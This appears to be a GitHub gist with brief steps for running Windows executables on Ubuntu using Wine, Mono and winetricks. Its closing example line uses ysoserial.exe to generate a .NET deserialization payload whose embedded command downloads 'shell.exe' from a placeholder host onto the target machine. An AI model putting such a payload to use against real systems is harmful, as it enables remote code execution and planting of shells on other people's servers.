Skip to content

Instantly share code, notes, and snippets.

@nghialuffy
Created January 20, 2024 08:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nghialuffy/ce4453cf804656a6374eff6ae6bd248b to your computer and use it in GitHub Desktop.
Save nghialuffy/ce4453cf804656a6374eff6ae6bd248b to your computer and use it in GitHub Desktop.
Run exe file in Ubuntu
```
sudo apt install mono-complete wine winetricks -y
winetricks dotnet48
```
- Go to https://dl.winehq.org/wine/wine-mono/8.1.0/
- Download `wine-mono-8.1.0-x86.msi`
```
wine64 uninstall
```
- Click `Install` button and select file `wine-mono-8.1.0-x86.msi`
- Wait and click Ok
- Run file exe with cmd `wine abc.exe`
Example:
```
wine ysoserial.exe -f JavaScriptSerializer -o base64 -g ObjectDataProvider -c "cmd /c curl x.x.x.x/shell.exe -o C:\ProgramData\shell.exe"
```
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment